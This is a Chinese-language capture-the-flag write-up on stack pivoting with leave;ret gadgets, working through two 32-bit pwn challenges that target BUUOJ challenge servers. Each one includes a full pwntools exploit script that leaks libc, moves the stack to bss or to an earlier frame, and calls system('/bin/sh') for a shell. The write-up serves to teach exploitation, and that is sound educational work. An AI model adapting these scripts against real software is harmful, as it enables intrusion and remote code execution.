栈迁移原理
同时控制 EBP 与 EIP,这样我们在控制程序执行流时,也改变程序栈帧的位置。用于在程序本身给的栈空间不够的时候,来创造假的栈空间并控制程序执行流到所创造的假栈空间来进行溢出。
这里用两个例题来讲两种栈迁移,一种是迁移到bss段上,一种是迁移到程序之前的栈帧上。
好文章:https://bbs.pediy.com/thread-258030.htm
leave_ret
leave_ret指令相当于:
leave ==> mov esp, ebp; pop ebp; #关闭当前函数调用栈,将栈顶数据赋值给ebp
ret ==> pop eip #继续执行下一条指令
其中pop eip相当于将栈顶数据给eip,由于ret返回的是栈顶数据,而栈顶地址是由esp的值决定的,esp的值,在执行leave可以得出是由ebp决定的。所以我们可以通过覆盖ebp的值来控制ret返回地址。
**fake stack 构造:**
target function
return addr
ager1
ager2
...
buffer padding #.ljust()
fake ebp #覆盖原ebp
leave_ret
迁移到bss段
例题1:
[Black Watch 入群题]PWN (迁移到bss段)
32位,开了nx
main函数没有什么
vul_function
可以看到了,溢出点是有的,但是可写的空间只有32-0x18=8,是无法构造rop链的,这里写入了两次,第一次写入s,第二次写入到栈上。
恰好呢,s又是在bss段上的,所以思路就是将栈迁移到bss段上去执行,同样也是需要泄露libc的
EXP:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',29358)
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300 #fake stack地址
leave_ret=0x08048511
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #泄露libc
r.recvuntil("What is your name?")
r.send(payload)
payload1='a'*0x18+p32(bss_addr-4)+p32(leave_ret) #实现栈迁移
r.recvuntil("What do you want to say?")
r.send(payload1)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
r.recvuntil("What is your name?")
payload=p32(system_addr)+p32(main_addr)+p32(bin_addr) #在fake stack里写入后门
r.send(payload)
r.recvuntil("What do you want to say?")
r.send(payload1)
r.interactive()
值得注意的是,这里泄露不能用puts,因为puts吃栈空间比较厉害,会把栈空间推到不可写区段。(之前就是在这里百思不得其解,直到偶然看见大佬问了出题人得到的这个回答)
这题的 payload 构造并不严格符合上面的栈迁移构造,这题是把写入和迁移栈分两步实现,上面的只是相对参考而已,具体情况具体分析
迁移到之前的栈空间
例题2:
ciscn_2019_es_2 (迁移到之前的栈空间)
check
同样32位,开了nx
vul函数里面对v1写入了两次,但是栈空间显然是不够的,这题的思路是将栈迁移到上一个栈帧,这就需要泄露上一个栈帧的ebp,并计算这个ebp到v1的偏移,然后进行填充。
EXP:
rom pwn import*
context.log_level="debug"
a=remote('node3.buuoj.cn',29916)
sys=0x08048400
leave=0x08048562
payload1='a'*0x24+'bbb'
a.sendlineafter('name?\n',payload1)
a.recvuntil('bbb\n')
ebp=u32(a.recv(4)) #泄露ebp
stack=ebp-0x38 #计算fake stack,上调0x38
payload2='aaaa'+p32(sys)+'aaaa'+p32(stack+0x10)+"/bin/sh\x00" #记一下传参方式,用指向‘/bin/sh’字符串的地址来作为参数
payload3=payload2.ljust(0x28,'a')
payload3+=p32(stack)+p32(leave)
a.send(payload3)
a.interactive()
这题的构造就非常符合上面的栈迁移构造。
在vul函数结束前下断点可以看见输入aaaa的地址(esp)距离ebp为0x38,下面这个位置下断点。